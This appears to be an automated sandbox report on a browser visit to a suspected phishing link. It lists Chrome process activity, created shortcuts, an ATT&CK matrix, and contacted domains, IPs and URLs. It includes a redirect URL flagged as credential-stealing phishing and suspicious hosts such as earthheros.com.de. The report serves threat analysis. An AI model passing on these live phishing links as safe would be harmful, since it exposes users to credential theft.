Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2276,i,12838566996055699050,5134391891814373256,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://url.avanan.click/v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpkZGUwNjUwMWZkNDExNDYwNzZjMDZiMzcyYTg5ZmU1NDo3OjE4NDg6ZGQ5NzQ2M2JkZmJmZTM2MDBmOTU2MjU4MWJhNWIyZDA0ODAzMGI4MzllZGM2ZjkzYmIwZjc2YWQ5ZmQ2MDFhNTpoOlQ6VA#ZWphbWVzQGVuY2luYWNhcGl0YWwuY29t	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label	Link
https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015	0%	URL Reputation	safe
https://developers.marketo.com/MunchkinLicense.pdf	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
prod-default.lb.logrocket.network	104.198.23.205	true	false	unknown
static.cloudflareinsights.com	104.16.80.73	true	false	unknown
s.dsp-prod.demandbase.com	34.96.71.22	true	false	unknown
boldlionapparel.com	103.83.194.55	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
platform.twitter.map.fastly.net	199.232.188.157	true	false	unknown
stats.g.doubleclick.net	173.194.76.155	true	false	unknown
ot.www.cloudflare.com	104.16.124.96	true	false	unknown
tag.demandbase.com	18.245.46.44	true	false	unknown
t.co	162.159.140.229	true	false	unknown
performance.radar.cloudflare.com	104.18.30.78	true	false	unknown
d3bl0rsvnw97mw.cloudfront.net	108.138.7.53	true	false	unknown
www.google.com	142.250.185.100	true	false	unknown
demdex.net.ssl.sc.omtrdc.net	63.140.62.17	true	false	unknown
api.www.cloudflare.com	104.16.123.96	true	false	unknown
dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	52.19.196.164	true	false	unknown
cf-assets.www.cloudflare.com	104.16.123.96	true	false	unknown
id.rlcdn.com	35.244.174.68	true	false	unknown
tag-logger.demandbase.com	18.173.205.104	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
s.twitter.com	104.244.42.3	true	false	unknown
ad.doubleclick.net	142.250.186.134	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
js.qualified.com	104.18.17.5	true	false	unknown
ws6.qualified.com	104.18.16.5	true	false	unknown
ax-0001.ax-msedge.net	150.171.27.10	true	false	unknown
earthheros.com.de	172.67.157.17	true	false	unknown
di.rlcdn.com	35.244.174.68	true	false	unknown
www.cloudflare.com	104.16.124.96	true	false	unknown
cdn.logr-ingest.com	188.114.97.3	true	false	unknown
reddit.map.fastly.net	151.101.193.140	true	false	unknown
dsum-sec.casalemedia.com	104.18.36.155	true	false	unknown
googleads.g.doubleclick.net	142.250.185.98	true	false	unknown
challenges.cloudflare.com	104.18.95.41	true	false	unknown
adobedc.net.ssl.sc.omtrdc.net	63.140.62.17	true	false	unknown
api.company-target.com	18.66.102.127	true	false	unknown
td.doubleclick.net	142.250.185.226	true	false	unknown
analytics.google.com	142.250.74.206	true	false	unknown
fp2c5c.wac.kappacdn.net	152.195.15.58	true	false	unknown
713-xsc-918.mktoresp.com	192.28.144.124	true	false	unknown
partners-alb-1113315349.us-east-1.elb.amazonaws.com	52.21.129.120	true	false	unknown
www.google.com.sg	142.250.184.227	true	false	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	unknown
alb.reddit.com	unknown	unknown	false	unknown
static.ads-twitter.com	unknown	unknown	false	unknown
cdn.bizibly.com	unknown	unknown	false	unknown
cm.everesttech.net	unknown	unknown	false	unknown
cloudflareinc.demdex.net	unknown	unknown	false	unknown
adobedc.demdex.net	unknown	unknown	false	unknown
cdn.bizible.com	unknown	unknown	false	unknown
dpm.demdex.net	unknown	unknown	false	unknown
url.avanan.click	unknown	unknown	false	unknown
s.company-target.com	unknown	unknown	false	unknown
assets.adobedtm.com	unknown	unknown	false	unknown
www.linkedin.com	unknown	unknown	false	unknown
pixel.rubiconproject.com	unknown	unknown	false	unknown
px.ads.linkedin.com	unknown	unknown	false	unknown
munchkin.marketo.net	unknown	unknown	false	unknown
analytics.twitter.com	unknown	unknown	false	unknown
r.logr-ingest.com	unknown	unknown	false	unknown
snap.licdn.com	unknown	unknown	false	unknown
edge.adobedc.net	unknown	unknown	false	unknown
partners.tremorhub.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/6XVeELky7fceWRpfBvN8qr/4e13aa3d8dd73e1f091f3de966fdc9cb/logo_shopify_trusted-by_gray.svg	false		unknown
https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015	false	URL Reputation: safe	unknown
https://www.cloudflare.com/page-data/learning/access-management/what-is-identity-and-access-management/page-data.json	false		unknown
https://r.logr-ingest.com/i?a=ykolez%2Fcloudflarecom&r=5-54b184b2-7d7e-474c-8850-be872159dbbb&t=a132de3d-bd8f-4f5e-9ce1-df46cadbbbba&s=0&rs=0%2Cu&u=8041cf23-fa0f-4aee-9525-552727606016&is=1	false		unknown
https://www.cloudflare.com/component---src-components-learning-center-templates-learning-center-article-template-tsx-be49510567670fd8909d.js	false		unknown
https://cloudflareinc.demdex.net/dest5.html?d_nsid=0	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/78RmfBmlwmzHeGK2Aqj65M/369cfa6b2402b7e6007941839e0c763f/target.svg	false		unknown
https://a.nel.cloudflare.com/report/v4?s=cR4qaw1sRGOne6Z2b%2BstG7J5yPmJONU%2B8fccn2EOGmvskvQslEHgNgr5WzaQ96eKNHnWmPCZDZtSWQiG7S7vR2Td6uAN4KaVymztZhDBwmBykgYm%2BHf2V5bTKRvm7H%2F6VowtWg%3D%3D	false		unknown
https://challenges.cloudflare.com/turnstile/v0/b/62ec4f065604/api.js	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=f6b6051c-d6f1-4d46-89a7-e5443d9b5a51	false		unknown
https://www.cloudflare.com/static/z/i.js	false		unknown
https://www.cloudflare.com/page-data/under-attack-hotline/page-data.json	false		unknown
https://url.avanan.click/v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpkZGUwNjUwMWZkNDExNDYwNzZjMDZiMzcyYTg5ZmU1NDo3OjE4NDg6ZGQ5NzQ2M2JkZmJmZTM2MDBmOTU2MjU4MWJhNWIyZDA0ODAzMGI4MzllZGM2ZjkzYmIwZjc2YWQ5ZmQ2MDFhNTpoOlQ6VA	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/68TLXIuB6HOZo3RgLAp1Ji/6a953e33858490426d4e2ca753bea3ad/documentation-list.svg	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/2TfcZ86qvZor2xtI2z4Vvr/ef54112582296119f4296869c34ba025/logo_23andme_color_32px-wrapper.svg	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=bf012b3f-4ee4-4200-bba4-e155d42ccac1	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=3f3ea70f-4a55-4361-b8bc-cb76b993d0e2	false		unknown
https://earthheros.com.de/QmVlO/#E	false		unknown
https://www.cloudflare.com/page-data/plans/page-data.json	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/OMwO1Fr8BxHVum0iBbatc/979c1807f5810edc903d4b07c18e0cb0/logo_ibm_trusted-by_gray.svg	false		unknown
https://tag-logger.demandbase.com/bg9s?x-amz-cf-id=USpYjdQUxSmr9WOVPx3lFuorv6ii_vnsVqzOEvhck-Q1IWQ_vSR2KQ==&api-version=v3	false		unknown
https://earthheros.com.de/cdn-cgi/images/icon-exclamation.png?1376755637	false		unknown
https://www.cloudflare.com/static/z/s.js?z=JTdCJTIyZXhlY3V0ZWQlMjIlM0ElNUIlNUQlMkMlMjJ0JTIyJTNBJTIyV2hhdCUyMGlzJTIwYSUyMHBoaXNoaW5nJTIwYXR0YWNrJTNGJTIwJTdDJTIwQ2xvdWRmbGFyZSUyMiUyQyUyMnglMjIlM0EwLjgwMDIxODkzNjI0OTg2NDglMkMlMjJ3JTIyJTNBMTI4MCUyQyUyMmglMjIlM0ExMDI0JTJDJTIyaiUyMiUzQTkwNyUyQyUyMmUlMjIlM0ExMjgwJTJDJTIybCUyMiUzQSUyMmh0dHBzJTNBJTJGJTJGd3d3LmNsb3VkZmxhcmUuY29tJTJGbGVhcm5pbmclMkZhY2Nlc3MtbWFuYWdlbWVudCUyRnBoaXNoaW5nLWF0dGFjayUyRiUyMiUyQyUyMnIlMjIlM0ElMjJodHRwcyUzQSUyRiUyRmVhcnRoaGVyb3MuY29tLmRlJTJGJTIyJTJDJTIyayUyMiUzQTI0JTJDJTIybiUyMiUzQSUyMlVURi04JTIyJTJDJTIybyUyMiUzQTI0MCUyQyUyMnElMjIlM0ElNUIlNUQlN0Q=	false		unknown
https://www.cloudflare.com/img/learning/security/threats/phishing-attack/diagram-phishing-attack.png	false		unknown
https://api.www.cloudflare.com/api/v1/marketo/form/4116	false		unknown
https://cdn.bizible.com/ipv?_biz_r=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_h=-1777624096&_biz_u=9cf0c5c3c8234176adfbc3176fd8b579&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Funder-attack-hotline%2F&_biz_t=1729094235099&_biz_i=Website%20Under%20Attack%3F%20%7C%20Get%2024%2F7%20Emergency%20Support%20%7C%20Cloudflare&_biz_n=2&rnd=230015&cdn_o=a&_biz_z=1729094235101	false		unknown
https://ws6.qualified.com/cable?wv=9&token=37pXYrro6wCZbsU7&vu=236f6079-72e6-46ce-8669-94662ce0bf2d&wu=29a3b45b-5f72-482d-8dab-760b869e9342&ca=2024-10-16T15%3A57%3A12.053Z&tz=America%2FNew_York&bis=5&referrer=https%3A%2F%2Fearthheros.com.de%2F&pv=1&fv=2024-10-16-1c44ba025e&iml=false&ic=false	false		unknown
https://stats.g.doubleclick.net/g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=5800add8-caaa-4f7b-8872-1ef83a3ff082&_u=KGDAAEADQAAAAC%7E&z=154832115	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/1W5s21iEz5Zk92rEr9cGr3/729e55fb2d26df7970d1c04d6040ffca/cloudflare-spectrum.svg	false		unknown
https://api.www.cloudflare.com/api/v1/marketo/form/1639	false		unknown
https://www.cloudflare.com/webpack-runtime-1e8f122af67c0024abb2.js	false		unknown
https://stats.g.doubleclick.net/g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=5800add8-caaa-4f7b-8872-1ef83a3ff082&_u=KGDAAEADQAAAAC%7E&z=145988361	false		unknown
https://edge.adobedc.net/ee/irl1/v1/collect?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=aa08b1d6-514c-4e12-9a65-053b626ea599	false		unknown
https://r.logr-ingest.com/i?a=ykolez%2Fcloudflarecom&r=5-54b184b2-7d7e-474c-8850-be872159dbbb&t=a132de3d-bd8f-4f5e-9ce1-df46cadbbbba&s=0&rs=0%2Ct&ct=50.12874518679207	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=dd6cf6f9-acd2-4073-a576-1eec42770aaa	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/5YRPa33UFrfL2zoZd2AXTq/658995f16c7ee4818875c254c18573d3/logo_zendesk_gray_32px-wrapper.svg	false		unknown
https://713-xsc-918.mktoresp.com/webevents/clickLink?_mchNc=1729094232594&_mchHr=https%3A%2F%2Fwww.cloudflare.com%2Funder-attack-hotline%2F&_mchId=713-XSC-918&_mchTk=_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73&_mchCn=&_mchHo=www.cloudflare.com&_mchPo=&_mchRu=%2Fplans%2Fenterprise%2Fcontact%2F&_mchPc=https%3A&_mchVr=164&_mchEcid=8AD56F28618A50850A495FB6%40AdobeOrg%3A6%3A62673578329733919643503417833114919531&	false		unknown
https://stats.g.doubleclick.net/g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=5800add8-caaa-4f7b-8872-1ef83a3ff082&_u=KGDAAEADQAAAAC%7E&z=1136624952	false		unknown
https://www.cloudflare.com/cdn-cgi/rum?	false		unknown
https://www.cloudflare.com/page-data/sq/d/3199558980.json	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=ee7bffdc-bc61-44ab-ada5-93c723955a64	false		unknown
https://www.cloudflare.com/page-data/learning/access-management/what-is-sase/page-data.json	false		unknown
https://js.qualified.com/qualified.js?token=37pXYrro6wCZbsU7	false		unknown
https://earthheros.com.de/QmVlO/	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/2fMg89go9MegG1EDg39mNy/5a42817cd388ae352f77f56e53b1ff81/card-new.png	false		unknown
https://ot.www.cloudflare.com/public/vendor/onetrust/scripttemplates/otSDKStub.js	false		unknown
https://www.cloudflare.com/plans/enterprise/contact/	false		unknown
https://ot.www.cloudflare.com/public/vendor/onetrust/scripttemplates/202407.2.0/assets/otCommonStyles.css	false		unknown
https://713-xsc-918.mktoresp.com/webevents/clickLink?_mchNc=1729094245941&_mchHr=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_mchId=713-XSC-918&_mchTk=_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73&_mchCn=&_mchHo=www.cloudflare.com&_mchPo=&_mchRu=%2Funder-attack-hotline%2F&_mchPc=https%3A&_mchVr=164&_mchEcid=8AD56F28618A50850A495FB6%40AdobeOrg%3A6%3A62673578329733919643503417833114919531&	false		unknown
https://www.cloudflare.com/under-attack-hotline/	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=5d34c17f-28cc-4792-8225-f6d3cad8f00b	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/1AsuJijKk8EMH5s1ae56nx/b13406881aa864b7e17b2233a0d090ef/logo_labcorp_trusted-by_gray.svg	false		unknown
https://www.cloudflare.com/page-data/sq/d/1048862057.json	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=5f0237e4-a8e1-4dae-9812-0e6c5fd7e0a1	false		unknown
https://www.cloudflare.com/static/enablement-background-6de78040ef0acc8d2e8a596988c5f5d8.svg	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=470a7b7d-4f58-4d15-b7a7-59c348aa82d4	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/3jxszSMXRhwiwHDa1VPXFw/cc6439cd93a107bd0986bb6d5dcd8a97/network-scale.svg	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/network-services/solutions/network-monitoring-tools/	chromecache_234.2.dr, chromecache_149.2.dr	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/78RmfBmlwmzHeGK2Aqj65M/369cfa6b2402b7e6007941839e0	chromecache_227.2.dr, chromecache_199.2.dr	false		unknown
https://px.ads.linkedin.com/collect/?pid=28851&fmt=gif	chromecache_283.2.dr, chromecache_176.2.dr	false		unknown
https://www.cloudflare.com/network-services/solutions/enterprise-network-security/	chromecache_234.2.dr, chromecache_149.2.dr	false		unknown
https://www.cloudflare.com/application-services/products/argo-smart-routing/)	chromecache_210.2.dr, chromecache_278.2.dr	false		unknown
https://www.cloudflare.com/saas/)	chromecache_190.2.dr, chromecache_269.2.dr	false		unknown
https://assets.adobedtm.com/extensions/EPc7341b33570d4c988798fc9f0093d4b2/AppMeasurement_Module_Acti	chromecache_260.2.dr, chromecache_175.2.dr	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/4sfL2iS6H10uq2waT6ehym/ad18b77fa469ce07f23d22e19ab	chromecache_156.2.dr, chromecache_153.2.dr	false		unknown
https://www.cloudflare.com/application-services/solutions/certificate-lifecycle-management/)	chromecache_210.2.dr, chromecache_278.2.dr	false		unknown
https://www.cloudflare.com/learning/security/glossary/what-is-zero-trust/	chromecache_234.2.dr, chromecache_149.2.dr	false		unknown
https://www.cloudflare.com/ddos/)	chromecache_210.2.dr, chromecache_278.2.dr	false		unknown
https://www.cloudflare.com/learning/access-management/how-to-implement-zero-trust/	chromecache_234.2.dr, chromecache_149.2.dr	false		unknown
https://glovoapp.com/)	chromecache_210.2.dr, chromecache_278.2.dr	false		unknown
https://www.pedidosya.com/)	chromecache_210.2.dr, chromecache_278.2.dr	false		unknown
https://www.deliveryhero.com/)	chromecache_210.2.dr, chromecache_278.2.dr	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/7dreyVsx0FLF3WjCQvWrVT/a9bb912272cd7f8bc9a294f768b	chromecache_210.2.dr, chromecache_278.2.dr	false		unknown
https://blog.cloudflare.com/cloudflare-waap-named-leader-gartner-magic-quadrant-2022/	chromecache_234.2.dr, chromecache_149.2.dr	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/6bNeiYhSx0RGvbzxS5Fi8c/3ff83bcc36e86e85170201f8264	chromecache_249.2.dr	false		unknown
https://www.cloudflare.com/static/z/s.js?z=	chromecache_255.2.dr	false		unknown
https://www.yemeksepeti.com/)	chromecache_210.2.dr, chromecache_278.2.dr	false		unknown
https://www.cloudflare.com/5xx-error-landing	chromecache_230.2.dr	false		unknown
https://www.cloudflare.com/learning/bots/what-is-bot-management/)	chromecache_210.2.dr, chromecache_278.2.dr	false		unknown
https://www.cloudflare.com/connectivity-cloud/)	chromecache_210.2.dr, chromecache_278.2.dr	false		unknown
https://developers.marketo.com/MunchkinLicense.pdf	chromecache_239.2.dr, chromecache_238.2.dr, chromecache_291.2.dr, chromecache_158.2.dr	false	URL Reputation: safe	unknown
https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/)	chromecache_210.2.dr, chromecache_278.2.dr	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/3jxszSMXRhwiwHDa1VPXFw/cc6439cd93a107bd0986bb6d5dc	chromecache_199.2.dr	false		unknown
https://github.com/js-cookie/js-cookie	chromecache_297.2.dr, chromecache_163.2.dr	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/2yRCuqitoxUATzrEEpNPeA/49494485e77713ddfaf56b7b338	chromecache_210.2.dr, chromecache_278.2.dr	false		unknown
https://staging.mrk.cfdata.org/mrk/redwood-blade-repository/	chromecache_162.2.dr, chromecache_183.2.dr	false		unknown
http://www.cloudflare.com/lp/esg-zero-trust-considerations-2024	chromecache_210.2.dr, chromecache_278.2.dr	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/3Vjcj5r39nYQK9FAZ6tx1i/15048294cd989a6e460a61e56ad	chromecache_210.2.dr, chromecache_278.2.dr	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/1W5s21iEz5Zk92rEr9cGr3/729e55fb2d26df7970d1c04d604	chromecache_227.2.dr, chromecache_199.2.dr	false		unknown
https://js.qualified.com	chromecache_248.2.dr, chromecache_159.2.dr	false		unknown
https://www.cloudflare.com/learning/security/what-is-an-attack-surface/)	chromecache_210.2.dr, chromecache_278.2.dr	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/2MwUTWYt0psg5xd55Vkvfo/7822687bbbf2b0738c770e183b7	chromecache_278.2.dr	false		unknown
https://www.foodpanda.com/)	chromecache_210.2.dr, chromecache_278.2.dr	false		unknown
https://alb.reddit.com/rp.gif?event=PageVisit&id=t2_1upmecjq&ts=1729094221108&uuid=dc93f89a-e6dd-4c2	chromecache_176.2.dr	false		unknown
https://assets.adobedtm.com/f597f8065f97/065ba81630d7/launch-efab6d095ce0.js	chromecache_224.2.dr, chromecache_301.2.dr	false		unknown
https://app.qualified.com	chromecache_248.2.dr, chromecache_159.2.dr	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/6vZgJjE7OFLINDHPAGZ3PJ/30ff0ceac9ad2088a52f4ad43ac	chromecache_210.2.dr, chromecache_278.2.dr	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/2ZP0AQ92YBysyPFLsuoKOC/84f7aa80a36755aa94cb56c5e0a	chromecache_278.2.dr	false		unknown
https://www.cloudflare.com/developer-platform/solutions/live-streaming/)	chromecache_210.2.dr, chromecache_278.2.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
192.28.144.124	713-xsc-918.mktoresp.com	United States	15224	OMNITUREUS	false
173.194.76.155	stats.g.doubleclick.net	United States	15169	GOOGLEUS	false
18.66.102.127	api.company-target.com	United States	3	MIT-GATEWAYSUS	false
142.250.185.100	www.google.com	United States	15169	GOOGLEUS	false
104.16.80.73	static.cloudflareinsights.com	United States	13335	CLOUDFLARENETUS	false
151.101.193.140	reddit.map.fastly.net	United States	54113	FASTLYUS	false
104.198.23.205	prod-default.lb.logrocket.network	United States	15169	GOOGLEUS	false
63.140.62.222	unknown	United States	15224	OMNITUREUS	false
104.18.30.78	performance.radar.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
18.173.205.127	unknown	United States	3	MIT-GATEWAYSUS	false
142.250.184.227	www.google.com.sg	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
18.245.46.44	tag.demandbase.com	United States	16509	AMAZON-02US	false
104.16.124.96	ot.www.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
18.245.46.89	unknown	United States	16509	AMAZON-02US	false
162.159.140.229	t.co	United States	13335	CLOUDFLARENETUS	false
34.96.71.22	s.dsp-prod.demandbase.com	United States	15169	GOOGLEUS	false
172.217.18.4	unknown	United States	15169	GOOGLEUS	false
103.83.194.55	boldlionapparel.com	United States	132335	NETWORK-LEAPSWITCH-INLeapSwitchNetworksPvtLtdIN	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
63.140.62.17	demdex.net.ssl.sc.omtrdc.net	United States	15224	OMNITUREUS	false
104.18.36.155	dsum-sec.casalemedia.com	United States	13335	CLOUDFLARENETUS	false
52.48.180.95	unknown	United States	16509	AMAZON-02US	false
104.18.16.5	ws6.qualified.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	cdn.logr-ingest.com	European Union	13335	CLOUDFLARENETUS	false
142.250.185.196	unknown	United States	15169	GOOGLEUS	false
199.232.188.157	platform.twitter.map.fastly.net	United States	54113	FASTLYUS	false
35.244.174.68	id.rlcdn.com	United States	15169	GOOGLEUS	false
142.250.186.100	unknown	United States	15169	GOOGLEUS	false
108.138.7.53	d3bl0rsvnw97mw.cloudfront.net	United States	16509	AMAZON-02US	false
152.195.15.58	fp2c5c.wac.kappacdn.net	United States	15133	EDGECASTUS	false
